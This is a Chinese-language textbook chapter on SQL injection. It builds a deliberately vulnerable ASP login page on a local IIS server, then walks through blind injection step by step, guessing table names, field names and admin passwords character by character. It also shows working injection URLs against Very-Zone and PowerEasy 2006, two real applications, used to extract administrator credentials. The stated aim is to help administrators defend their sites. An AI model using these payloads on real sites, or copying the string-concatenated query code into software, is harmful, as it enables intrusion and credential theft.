1.1 SQL 注入攻擊研究
“注入攻擊”這個詞在網絡上已經是屢見不鮮了。當入侵者準備入侵一臺主機時,通常情況下首先查看這臺服務器上有無動態網頁的Web服務,并且這些動態網頁是否存在漏洞。如果存在漏洞,則可以通過一些手段來得到管理員的密碼,甚至是整臺服務器的控制權。在這些漏洞中比較常見且容易上手的一種攻擊方式就是SQL注入攻擊,這種技術并不需要太高深的理論基礎和復雜的操作。目前掌握這門技術的人較多,也是當前對網站進行入侵的一種主流方式。
本節將披露SQL注入攻擊技術的原理和手法,并介紹針對注入攻擊的防范措施,希望能夠幫助更多的網絡管理員遠離這種攻擊。
1.1.1 測試環境的搭建
本章中的許多內容需要通過實例講解,考慮到不能隨意攻擊和破壞他人的網絡,筆者在自己的電腦中搭建一臺網站服務器,并構造一個存在漏洞的頁面作為實例演示之用。
在 Windows 下有許多網站服務器軟件,其中最為常見的是 IIS(Internet Information Server,Internet信息服務)、PWS(Personal Web Server,個人網頁服務器),以及Apache服務器等。其中PWS在Windows 98操作系統中比較常見,IIS在Windows 2000以后的Windows操作系統中比較常見,Apache經常在Linux中與PHP配合使用??紤]到大部分讀者使用Windows操作系統平臺,而且IIS也比較常見并且容易安裝,所以以IIS為例講解搭建如何網絡服務器。
IIS的安裝過程如下。
(1)將Windows XP的安裝光盤放入光驅中,然后單擊“開始”|“設置”|“控制面板”選項,如圖1-1所示。

圖1-1 “控制面板”選項
(2)彈出“控制面板”窗口,單擊“添加/刪除 Windows 組件”按鈕,如圖1-2所示。

圖1-2 “添加/刪除Windows 組件”按鈕
(3)彈出如圖1-3所示的“Windows組件向導”對話框,選擇“Internet 信息服務(IIS)”復選框。

圖1-3 “Windows組件向導”對話框
(4)單擊“下一步”按鈕,顯示“正在配置組件”對話框,如圖1-4所示。等待,直到提示完成,如圖1-5所示。

圖1-4 “正在配置組件”對話框

圖1-5 提示完成
安裝IIS之后,IIS會創建操作系統所在盤(下面以C盤為例)的\Inetpub\wwwroot文件夾作為網站的根目錄。將相關的網頁文件放到這個目錄中,即可在IE中瀏覽這個網頁。
為了檢驗IIS是否能正常工作,使用記事本編寫如下代碼:
<html> <head> <title>測試網頁</title> </head> <body>測試IIS是否能正常工作,看到我就說明IIS能正常工作了! </body> </html>
將上述代碼保存為 aaa.html 文件,并復制到上述目錄中。打開 IE 瀏覽器,訪問http://127.0.0.1/aaa.html。如果顯示如圖1-6所示的測試結果,則說明IIS已正常運行。

圖1-6 顯示結果
下面測試IIS是否能正常地解析ASP動態腳本網頁,在記事本中輸入下述代碼:
<html> <head><title>測試asp</title></head> <body> <% Response.Write “Asp正常執行” %> </body> </html>
將上述代碼保存為 aaa.asp 文件,并復制到上述目錄中。然后打開 IE,訪問http://127.0.0.1/aaa.asp或http://localhost/aaa.asp。如果顯示如圖1-7所示的測試結果,說明IIS可以正常工作。

圖1-7 測試結果
1.1.2 一個簡單的實例
大部分留言本的管理后臺登錄后才能進入。一般情況下,用戶在輸入密碼并單擊“登錄”按鈕后登錄頁面會把輸入的密碼提交給一個動態網頁。這個網頁查看該密碼和數據庫中的密碼是否相同,如果相同,則登錄成功;否則就會提示輸入錯誤。
下面首先編寫一個頁面用來顯示用戶名和密碼文本框,以及“登錄”按鈕網頁文件,代碼如下:
<html> <head><title>登錄頁面</title></head> <body> <div align="center"> <form action="login.asp" method="post"> 請輸入密碼: <br><br> 用 戶:<input name="name"type="textbox"> <br> 密 碼:<input name="pass"type="password"> <br> <input type="submit" value="登錄"> </form> </div> </body> </html>
編寫后保存為名為“login.html”的網頁文件。
說明如下:
<form action="login.asp" method="post">
這行代碼指定把數據提交給login.asp網頁。
<input name="name" type="textbox"> …… <input name="pass" type="password">
這是一個典型的表單,這兩行代碼顯示一個文本框和一個密碼文本框。其名稱“name”非常重要,login.asp用其從提交的數據中獲取用戶名和密碼數據。
login.asp的代碼如下:
<% inname = Request("name") inpass = Request("pass") set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;" Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘") truepass = rs("upass") if inpass=truepass then response.write("登錄成功!") else response.write("登錄失??!") end if %> <p>用戶編號: <%response.write(rs("uid"))%> </p> <% Set rs=Nothing conn.close %>
說明如下:
inname = Request("name") inpass = Request("pass")
從提交的數據中查找名為“name”及“pass”的數據,并分別保存在inname和inpass兩個變量中,后者用于比較pass是否正確。
set conn=server.createobject("ADODB.CONNECTION") conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"
使程序連接C:\Inetpub\wwwroot中的db.mdb 數據庫文件,以便查詢數據。
Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")
查詢db.mdb數據庫data表中,內容為inname 的變量名“uname”,并將其保存在rs變量中。
truepass = rs("upass")
將查詢記錄中upass字段的內容保存到truepass變量中。
if inpass=truepass then response.write("登錄成功!") else response.write("登錄失敗!") end if
這是經典的判斷語句,用于判斷inpass變量是否與truepass相同,即判斷用戶輸入的密碼是否與數據庫中查詢的密碼相同。如果相同,則輸出“登錄成功”;否則輸出“登錄失敗”。
<p>用戶編號:<% respons.wirte(rs("uid"))%></p>
顯示數據庫中uid字段的內容,即當前登錄用戶的編號。
Set rs=Nothing conn.close
釋放變量并關閉數據庫連接,雖然未釋放變量程序仍可正常運行,但這是編程的良好習慣,值得提倡。
為創建db.mdb數據庫文件,首先需要安裝Access。打開Access 2007主窗口,單擊“文件”→“新建”選項,然后創建如表1-1和圖1-8所示的表結構。
表1-1 數據庫的表結構


圖1-8 表結構
輸入用戶名和密碼,雙擊表名data進入數據編輯界面。添加兩條記錄,如圖1-9所示。其中uname為用戶名,upass為密碼。

圖1-9 添加兩條記錄
將 login.html 和 login.asp 復制到 C:\Inetpub\wwwroot 目錄中,打開 IE,輸入http://127.0.0.1/login.html即可訪問如圖1-10所示的登錄頁面。

圖1-10 登錄頁面
輸入正確的密碼admin后單擊“登錄”按鈕,登錄成功,如圖1-11所示。

圖1-11 登錄成功
輸入一個錯誤密碼,如“123”。單擊“登錄”按鈕,顯示登錄錯誤。如圖1-12所示。

圖1-12 登錄錯誤
上述演示說明這個密碼驗證程序的功能是正確的,問題在于提交的數據。即 name 的值并沒有判斷其合法性,而是直接放到SQL語句中使用,如果用戶輸入的不是密碼,而是一段代碼,問題就嚴重了。從理論上講,確實有很多相似之處。不過注入的效果卻顯而易見,而且沒有多少編程功底的人也可以很容易理解并掌握這種技術。
嘗試在“用戶”文本框中輸入一個單引號,單擊“登錄”按鈕,結果如圖1-13所示。

圖1-13 輸入結果
可以看到IIS提示無法顯示該網頁。如果需要查看錯誤原因,需要設置IE。為此,單擊“工具”|“Internet 選項”選項,如圖1-14所示。

圖1-14 “Internet 選項”選項
打開“Internet選項”對話框,切換到如圖1-15所示的“高級”選項卡,清除“顯示友好HTTP錯誤信息”復選框。

圖1-15 “高級”選項卡
單擊“確定”按鈕,輸入單引號作為用戶名登錄,顯示的錯誤信息如圖1-16所示。

圖1-16 錯誤信息
在檢測一個網站的安全性時,檢測者并不知道該網站所用的數據庫。如果看到這個錯誤信息,則可以看出Microsoft Jet Database Engine是微軟的Access數據庫,可以嘗試Access的一些已知漏洞。
分析出現這個錯誤的原因,查詢數據庫的SQL代碼如下:
inname = Request("name") …… Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")
如果用戶輸入的是一個單引號,那么這個語句變為 SELECT * FROM data WHERE uname=‘‘‘。
這樣最后的單引號多余,從而造成語法錯誤。
1.1.3 用瀏覽器直接提交數據
在ASP中,從外部接收的數據即參數。名稱即參數名,其值即該參數值。在login.asp中,接收的用戶名的參數名是“user”,密碼的參數名是“pass”,所以提交的數據中應該分別把用戶名和密碼的參數名與其值匹配。
在瀏覽器的地址欄中要訪問的文件名后面加上問號及參數列表,參數值之間用等號來連接,參數之間用“&”來隔開。用這樣的地址來訪問該頁面,即可達到與頁面提交基本上相同的效果。
地址的形式如下:
http://要訪問的網站/要訪問的頁面.asp?參數1=值1&參數2=值2……
其中參數的順序可以任意調換,不過要保證參數名與值相對應。
如前例中的用戶名的參數名是“name”,值是 admin;密碼的參數名是“pass”,值是admin,則應該在地址欄中輸入以下地址:
http://127.0.0.1/login.asp?name=admin&pass=admin
顯示登錄成功,說明數據提交成功并被login.asp接收,如圖1-17所示。

圖1-17 登錄成功
也可以交換兩個參數的位置來登錄,如用地址http://127.0.0.1/login.asp?pass=admin&name=admin與使用http://127.0.0.1/login.asp?name=admin&pass=admin的結果相同。
如果密碼改為abcde,則訪問的地址是:
http://127.0.0.1/login.asp?name=admin&pass=abcde
http://127.0.0.1/login.asp? pass=abcde&name=admin
訪問下面的地址:
http://127.0.0.1/login.asp?pass=admin&name =abcde
則會登錄失敗,因為密碼為abcde,用戶名為admin。
下面以admin為用戶名,以錯誤的密碼“123456”來登錄:
http://127.0.0.1/login.asp?name=admin&pass=123456
提示登錄失敗,如圖1-18所示。

圖1-18 登錄失敗
說明更換數據,頁面的功能仍正常,即可以判斷密碼的正確性。
使用這種方法模擬提交引號:
http://127.0.0.1/login.asp?pass=admin&name=‘
提示IIS 500錯誤。
這樣登錄完全可以代替用頁面提交,而且可以省略訪問登錄頁面所用的時間,從而提高效率。
這種提交方式在沒有任何漏洞可利用的情況下,還可以通過窮舉法使用可能的密碼組合來登錄,登錄成功說明密碼正確。
在研究SQL注入過程中,將會不停地提交數據測試,所以用這種方法將會事半功倍。而且在實際的入侵中,很多注入點未提供用戶輸入。在這種情況下,也只有用這種方法來提交數據才能執行SQL注入。
1.1.4 注入型攻擊原理
如前所述,因為頁面直接把用戶提交的用戶名(一個單引號)放到SQL語句中執行,所以造成引號不成對的語法錯誤。通過錯誤提示,攻擊者可以知道該網站所用的數據庫類型,然后針對這個數據庫的漏洞進行攻擊。
SQL語句
SQL語句之間用分號“;”隔開。
SELECT語句
SELECT語句是SQL中的查詢語句,通常用于查詢數據庫中的數據,其語法如下:
SELECT 要查詢的內容(可以是字段名列表) FROM 表名;
其中要查詢的內容可以是字段名列表,多個字段名之間用逗號“,”隔開,查詢所有字段用星號“*”表示。
表名是用來指定要查詢的數據庫中表的名稱。
如查詢data表中的uname和upass兩個字段的值,語句如下:
SELECT uname,upass FROM data;
因為data數據庫中只有uname和upass兩個字段,所以可以編寫如下語句查詢所有列值:
SELECT * FROM data;
WHERE語句
WHERE語句通常放在SELECT語句后面,用來設置查詢過慮條件,即只查詢符合條件的數據,其語法如下:
WHERE 查詢條件列表
查詢條件是一個布爾值(即邏輯值,真或者假)表達式,如果要查詢所有數據,則條件為空。例如:
SELECT * FROM data WHERE uname=‘admin’;
多個條件之間用“and ”連接,如要查詢在數據庫中uname字段為admin,以及upass字段為admin的數據:
SELECT * FROM data WHERE uname=‘admin’ and upass=‘admin’;
在SQL中字符串的內容用一對單引號引起。字符串可以為空,如上述語句可寫成:
SELECT * FROM data WHERE uname=‘’ and upass=‘’;
判斷是否有注入漏洞要用到邏輯運算,這里重點介紹“與”運算。
上例中用來查詢的語句是:
SELECT * FROM data WHERE uname=‘用戶輸入的用戶名’
在這個語句中只有一個條件,即 uname 為用戶輸入的用戶名。如果在后面再加一個“1=1”的條件:
SELECT * FROM data WHERE uname=‘用戶輸入的用戶名’ and 1=1
由于1=1是永遠成立的,所以不影響整個語句的執行。
如果添加“1=2”的條件:
SELECT * FROM data WHERE uname=‘用戶輸入的用戶名’ and 1=2
由于1=2永遠不成立,所以所有的條件都不成立。通過在數據庫查詢語句后面添加 and 1=1和 and 1=2兩個條件,查看是否影響頁面的查詢結果,即可判斷注入的語句是否被執行,即檢測頁面是否存在SQL注入漏洞。
下面通過實例來查看利用注入漏洞,漏洞頁面中語句的原型如下:
SELECT * FROM data WHERE uname=‘用戶輸入的用戶名’
輸入如下SQL語句:
SELECT * FROM data WHERE uname=‘admin’ and 1=1’
在瀏覽器的地址欄中輸入:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1
訪問頁面提示出錯,最后引號多余。
重新構造用戶名:
admin’ and 1=1 and ‘a’=‘a
SQL語句為:
SELECT * FROM data WHERE uname=‘admin’ and 1=1 and ‘a’=‘a’
第3個條件‘a’= ‘a’與‘1’= ‘1’均為一個永遠成立的條件,并不影響其他條件。
在瀏覽器中提交,輸入以下地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 and ‘a’=‘a
可以正常顯示頁面,如圖1-19所示。

圖1-19 登錄成功
在地址欄中有多個類似“%20”的編碼,即URL編碼,瀏覽器會自動地把一些特殊的字符轉換成該編碼?!?20”是空格的URL編碼。
下面提交1=2的恒錯條件讓頁面出錯,查看是否能影響頁面的執行。
在瀏覽器地址欄中輸入以下地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=2 and ‘a’=‘a
頁面出錯可以說明這個頁面有SQL注入漏洞。使用1=1和1=2的條件來分別訪問頁面時,如果顯示的內容不同,則說明存在漏洞。
SQL的SELECT…FROM語句的返回值為要查詢的記錄內容。
下面利用漏洞來猜解,首先猜解數據庫的表名。以下語句可以作為一個條件來使用:
(SELECT uid FROM data WHERE uname=‘admin’)=1
這是個復雜條件,首先用SELECT語句查詢數據庫中uname字段為admin的記錄,得到其uid字段值。再對比是否為1,為1,則這個條件為真;否則為假。
同樣,以下這個語句也是一個條件:
(SELECT upass FROM data WHERE uname=‘admin’)=‘admin’
首先用SELECT語句查詢數據庫中uname字段為admin的記錄,得到其upass字段值。然后對比是否為admin,為admin,則這個條件為真;否則為假。
把這個語句作為一個條件,然后插到前面用來檢測是否存在漏洞的語句中,即:
SELECT * FROM data WHERE uname=‘admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a’
如果uname為admin的記錄的upass字段值是admin,添加的條件為真;否則為假。因為使用與運算(and),所以只要條件列表中的一個條件是假,則所有條件都不成立。
根據上面所述來構造如下訪問地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a
頁面成功顯示。
更換一個值:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘123’ and ‘a’=‘a
頁面出錯,說明uname是admin的記錄的upass字段的值不是123。
基于此,可以判斷猜測的密碼是否正確。破解者只要不停地改變上面加粗部分的值來提交測試,頁面正常顯示說明頁面根據這個條件查詢到數據。這樣等于猜解出了用戶的密碼。
如果用戶把密碼設置得難以猜測的話,攻擊者很難猜到,那么這種方法沒有優勢,而且比較麻煩。不過,如果配合利用SQL 語言的靈活性及其自帶的一些函數的話,這種方法還是可取的。
1.1.5 典型攻擊過程及代碼分析
在本節中將會介紹如何利用漏洞猜解出表名、字段名,然后得到用戶的名稱和密碼。
在實際的入侵中,入侵者不知道目標網站的數據庫結構。即數據庫的表名及字段名,所以不存在上述的入侵。
要得到數據庫中的用戶名和密碼,首先應該知道其中用來保存用戶名和密碼的數據表的表名。
使用COUNT函數來查詢這個表時,得到的結果應該大于0。
根據這個推論,可以構造如下條件語句:
(SELECT COUNT(*) FROM data)>0
把這個條件語句利用漏洞試試,構造的URL地址如下:
http://127.0.0.1/login.asp?uname=admin’ and (select count(*) from data )>0 and ‘a’=‘a
提交這個地址,如果頁面能正常顯示,則說明這個表存在;否則說明用來保存用戶名和密碼的表不是這個表。在入侵時,只要不停地變換表名(URL中的“data”部分)。直到頁面正常顯示,說明這個表存在。
如果運氣不好,猜到的這個表不一定用來保存用戶名和密碼。不過程序員在編寫頁面時為了方便調用和維護,不會用復雜的表名,所以表名比用戶名容易猜得多。一般來說,用來保存用戶名和密碼的表名類似于user、manage及admin等。常用的表名可以在網絡上搜索到很多,只要有足夠的經驗,很容易猜出表名。
在猜解出表名以后,需要猜解字段名。為此在 COUNT 中加入猜測的字段名,即構造如下SQL條件語句:
(SELECT COUNT(uname) FROM data)>0
根據這個語句構造的URL地址如下:
http://127.0.0.1/login.asp?uname=admin’ and (select count( uname ) from data )>0 and ‘a’=‘a
如果頁面正常顯示,說明字段存在;否則說明字段不存在。
表1-2所示是筆者積累的一些常見的表名,以及用戶名和密碼的字段名,在猜測表名和字段名時會用到。
表1-2 常見表名,以及用戶名和密碼的字段名

猜解出表名和字段名以后,可以猜解用戶名和密碼。提交不同的SQL語句給頁面,根據其顯示是否正常,可以把數據庫中所有記錄的數據逐個“解出”。
SQL語法知識
len()函數:為取得字符串的長度
len(字符串)
下面以猜解admin 用戶的密碼為例,首先要確定密碼的長度,可以使用SQL的Len()函數,構造如下條件語句:
(SELECT*FROM data WHERE uname=admin and len(upass)>1)>0
這個條件語句的兩個條件是uname為admin,以及upass字段的值長度大于1,即upass值要有兩位以上。在條件不成立時,SELECT 語句查詢不到任何數據。結果應該為0,所以 (SELECT……)>0不成立。
把這個條件語句加到URL中提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 and ‘a’=‘a
如果頁面能正常顯示,說明用戶名是admin的這個用戶的密碼至少有兩位;否則說明密碼不大于1位,即這個密碼可能是1位或0位(為空)。
所以只要不停地修改len()后面的數字,即可確定密碼的長度。如要猜解例中的密碼長度,可以按如下順序提交數據:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=0 ) >0 and ‘a’=‘a
·
·
·
一直到數字改為5時頁面才能正常顯示,說明密碼的長度為5位。
但是這種方法并不高明,逐個數字猜解需要大量時間。在真正的入侵中,如果密碼有數十位,則不知要試到何年何月。
二分法首先確定一個大概的范圍,然后慢慢縮小,直到能確定這個數為止。如例中的這個密碼的長度可以這樣猜:
一般用戶的密碼都是16位以內,所以用len(upass)<16作為條件頁面能正常顯示,說明密碼不到16位。現在可以確定密碼的長度在0~15之間,接著找出0~16之間的中間數,計算中間數的公式如下:
中間數=(最大值-最小值)÷2+最小值
套用公式計算如下:
(16-0)÷2+0=8
用8來測試,提交的數據如下:
如果頁面不能正常顯示,說明密碼的長度在8位~16位之間;否則說明密碼的長度在0位~7位之間。繼續縮小范圍:
(8-0)÷2+0=4
繼續用4來測試、提交:
頁面出錯,說明密碼的長度不小于4。即大于等于4。同時小于等于8,繼續縮小范圍:
(8-4)÷2+4=6
用6來提交測試:
頁面正常顯示,說明密碼的長度小于6位。下面可以用4和5來分別測試:
SQL語法知識
Mid()函數:取得字符串從“起始位置”字符位置起字符個數為“長度”的子字符串。
mid(字符串,起始位置,長度)
mid(‘abcd’,2,2)
結果是bc。
如果將上述語句改成mid(‘abdefg’,3,3),結果是def。
利用mid()函數并結合二分法,即可逐位解出密碼。
首先來猜解第1位密碼,構造的SQL條件語句如下,
(SELECT*FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’)>0
該語句取第1位密碼,并判斷是否為字符a。如果是,則條件成立;否則條件不成立。
把這個條件語句整合到URL地址中,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 and ‘a’=‘a
頁面顯示正常,說明猜對。不過要猜解完密碼,需要使用二分法。
接下來開始猜解第2位密碼,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)= ‘a’ ) >0 and ‘a’=‘a
頁面出錯,說明第2位密碼不是字母 a??梢杂枚址ù_定一個范圍,再逐步縮小這個范圍來確定密碼內容。以如下URL地址測試:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)> ‘a’ ) >0 and ‘a’=‘a
頁面正常顯示,再提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘z’ ) >0 and ‘a’=‘a
根據前面提交的兩個地址都可以正常顯示頁面,可以推斷出第2位密碼是小寫的字母a~ z中的一個。
由于字母的中間數不好求,所以只要估計大概即可。
繼續猜解第2位密碼,字母a~ z的中間位置大概是字母o,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘o’ ) >0 and ‘a’=‘a
頁面正常顯示,說明密碼是字母a~o之間的一個字母。繼續取中間位置來試,字母a~o的中間位置大概是h,所以提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘h’ ) >0 and ‘a’=‘a
頁面正常顯示,可以確定第2位密碼a~h之間的一個字母。繼續縮小范圍,用字母e測試:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘e’ ) >0 and ‘a’=‘a
頁面正常顯示,然后可以分別測試字母b、c和d,用二分法測試。
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘d’ ) >0 and ‘a’=‘a
頁面出錯,即第2位密碼小于字母e且大于或等于字母d,因此為字母d。測試:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘d’ ) >0 and ‘a’=‘a
頁面顯示正常,說明第2位密碼是字母d。
接下來用同樣方法猜解后面的3位密碼。測試的步驟及其結果如表1-3所示。
表1-3 測試步驟及其結果

到這里,用戶admin的5位密碼都猜解出來,分別是a、d、m、i和n。把mid函數中要猜解的字段名upass換成uname,即可逐位猜解用戶名。
1.1.6 Ⅴery-Zone SQL注入漏洞代碼分析
Very-Zone(非常地帶,簡稱“VZ”)程序是一款個人互動門戶管理的ASP系統,模仿QQ空間(Q-Zone)的用戶頁面。它的早期版本存在著SQL注入漏洞,目前從網絡上下載的版本已經使用SQL通用防注入程序防止了這個漏洞。為了能夠演示如何利用漏洞,筆者刪除了其中的SQL通用防注入程序。
為了更真實地模擬入侵過程,筆者將VZ作為網絡一個真實的網站服務器進行滲透。
打開VZ首頁及頁面中的一個帶參數的鏈接,以http://127.0.0.1/veryzone/announce.asp?id=16為例,如圖1-20所示。

圖1-20 打開的鏈接
在打開的地址欄參數后面加上一個永遠成立的條件“and 1=1”,頁面能正常顯示。
更換為一個永遠都不會成立的條件“and 1=2”,頁面中無公告內容,如圖1-22所示。

圖1-21 頁面正常顯示

圖1-22 無公告內容
確定插入條件會影響頁面的顯示結果后,可以插入不同的條件并根據頁面的顯示來判斷條件是否成立。
首先來猜表名,提交地址:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(*) from Admin)>0
頁面能正常顯示,表Admin確實存在。
猜測用戶名的字段,提交地址:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(User) from Admin)>0
頁面沒有內容,說明猜錯,即數據庫中沒有User這個字段名。把User換成其他字段名來繼續猜解,在提交以下地址時,頁面正常顯示:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(UserName) from Admin)>0
說明在數據庫的Admin表中有UserName這個字段。
在提交以下地址后,頁面正常顯示:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(Password) from Admin)>0
這次猜出一個Password字段,根據表名和字段名不難估計Admin表中保存的是管理員的信息。UserName字段保存的是其用戶名,Password保存的是用戶密碼。
知道表名和字段名之后,可以猜解數據庫中的數據。首先來猜解管理員的用戶名長度:
頁面未顯示公告內容,說明管理員的用戶名長度不小于5。再提交:
頁面正常顯示,說明管理員的用戶名長度小于6,即用戶名長度是5,提交如下地址驗證:
頁面正常顯示。
接下來猜解5位管理員用戶名。用二分法來猜解:
頁面正常顯示,第1位用戶名是字母“a”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,2,1)= ‘d’) >0
頁面正常顯示,第2位用戶名是字母“d”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,3,1)= ‘m’) >0
頁面正常顯示,第3位用戶名是字母“m”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,4,1)= ‘i’) >0
頁面正常顯示,第4位用戶名是字母“i”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,5,1)= ‘n’) >0
頁面正常顯示,第5位用戶名是字母“n”。
到這里,管理員的用戶名被猜解出來,即“admin”。
驗證是否準確:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where UserName= ‘admin’) >0
頁面正常顯示,用戶名“admin”存在。
接下來猜測密碼:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(Password)=16) >0
頁面正常顯示,管理員的密碼長度是16。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,1,1)= ‘7’) >0
頁面正常顯示,管理員的第1位密碼是7。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,2,1)= ‘a’) >0
頁面正常顯示,管理員的第2位密碼是a。
……
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 *from Admin Where Mid(Password,16,1)= ‘e’) >0
頁面正常顯示,管理員的第16位密碼是e。
至此,密碼被猜解出來,即“7a57a5a743894a0e”,這是字符串“admin”用MD5算法加密后的結果。
以用戶admin,密碼admin登錄后臺,登錄界面如圖1-23所示。

圖1-23 登錄界面
管理員的用戶名和密碼正確,成功進入后臺,如圖1-24所示。

圖1-24 進入后臺
本節通過Very-Zone個人互動門戶管理的Asp系統的SQL注入漏洞演示了如何利用漏洞獲取管理員的用戶名和密碼,這是相當常見的手法。
1.1.7 動易商城2006 SQL注入漏洞代碼分析
動易商城是一個在網上很知名的ASP信息發布及商品交易程序,這個程序有免費版本,從網上下載該程序來安裝。下載程序的壓縮包解壓后的 PowerEasy2006.exe 文件是安裝程序,直接雙擊它運行安裝程序。
直接安裝后的動易商城不可用,訪問結果如圖1-25所示。

圖1-25 訪問結果
需要安裝動易的組件,安裝程序是PE2006_DLL.exe。雙擊即可安裝,安裝時在圖1-26所示的對話框中清除“停止IIS服務”和“重啟IIS服務”復選框;否則IIS可能會無法使用。

圖1-26 “選擇組件”對話框
因為安裝在C:\Inetpub\wwwroot\PowerEasy中,所以應該通過 http://127.0.0.1/powereasy/index.asp來訪問,打開的頁面如圖1-27所示。

圖1-27 打開的頁面
網上關于這個程序最新漏洞的描述如下:

NewComment.asp 文件用來顯示用戶評論,調用該文件需要添加評論,然后才能測試這個漏洞。
相關知識
Request()函數:是ASP程序中的常見函數??捎脕砀鶕得〉每蛻舳颂峤坏椒掌鞯膮怠U{用形式如下:
Request(“參數名”)
其中的參數名為要取得的參數名,這些參數從網頁提交。如前一節例子中提交的http://127.0.0.1/login.asp?name=admin&pass=admin中有name和pass兩個參數。如果程序要取得name參數的值,應該在程序中編寫如下代碼:
Request(“name”)
如果要取得pass參數值并保存在aaa變量中,代碼如下:
aaa = Request(“pass”)
Trim()函數:用來刪除字符串前后兩邊的空格。在處理字符串數據時經常會用到,調用形式如下:
Trim(字符串)
函數會返回刪除兩側空格后的字符串,比如:
Str1=“ 你好! ” Str2=Trim(Str1)
執行以上語句之后,字符串變量Str2的內容是“你好!”。
首先要確定漏洞在何處,用文本編輯器打開 Region.asp。目標確定在 Province 這個變量上,代碼如下:
Province = Trim(Request.QueryString("Province"))
該語句取得Province參數值并保存在Province變量中,而后繼續查看下面的代碼:
……
Call OpenConn
Set TempRs=Conn.Execute("SELECT Country FROM PE Country ORDER BY Country")
……
Set TempRs=Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='"&Province&"'")
……
ReDim ShowCity(0, 0)
……
這段代碼直接從客戶端接收Province參數并賦值給Province變量,直到加黑的語句調用它。即將其放到SQL語句中執行,并且把查詢到的數據放到頁面的下拉列表框中顯示。沒有經過仔細過濾而使用用戶提交的數據顯然是一個SQL注入漏洞,因為通過提交特殊的數據可以讓服務器執行一些特殊的SQL語句。
SQL語法
UNION聯合語句:合并多條語句查詢的結果,如:
SELECT*FROM A UNION SELECT*FROM B
這條語句的作用是查詢表A中和表B中的所有數據并合并在一起。假如查詢結果的數據是李四,則用UNION把兩條查詢的結果合并,結果是張三和李四兩項數據。
這個漏洞的特點是把查詢結果顯示在下拉列表框中,這樣通過精心構造的SQL語句可能讓頁面直接在下拉列表框中顯示管理員的賬號和密碼。
首先嘗試提交Province參數并且在數據后面加單引號讓頁面出錯,提交:
http://127.0.0.1/powereasy/Region.asp? province=a'
出錯的頁面,如圖1-28所示。

圖1-28 出錯的頁面
說明提交的單引號被放到SQL語句中。把數據代入到代碼中形成如下SQL語句:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’’
能控制的部分是“a’”。如果要正確顯示頁面,必須刪除后面的單引號,即:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’ and‘a’=‘a’
可以在數據中插入一個查詢語句來查詢密碼,為此要用UNION語句。
首先查看動易的數據庫結構,管理員的用戶名和密碼放在數據庫的 PE_Admin 表中, AdminName是用戶名字段,Password是管理員密碼字段。要查詢管理員用戶名的SQL語句如下:
Select AdminName From PE Admin
用UNION語句將其整合到原來的語句中,即:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’ Union Select AdminName From PE_Admin Where‘a’=‘a’
加黑部分是要提交的數據,根據其構造的URL為:
http://127.0.0.1/powereasy/Region.asp?province=a' Union Select AdminName From PE Admin where 'a'='a
提交這個地址,可以在“市/縣/區/旗”的下拉列表框中看到用戶名,如圖1-29所示。

圖1-29 用戶名
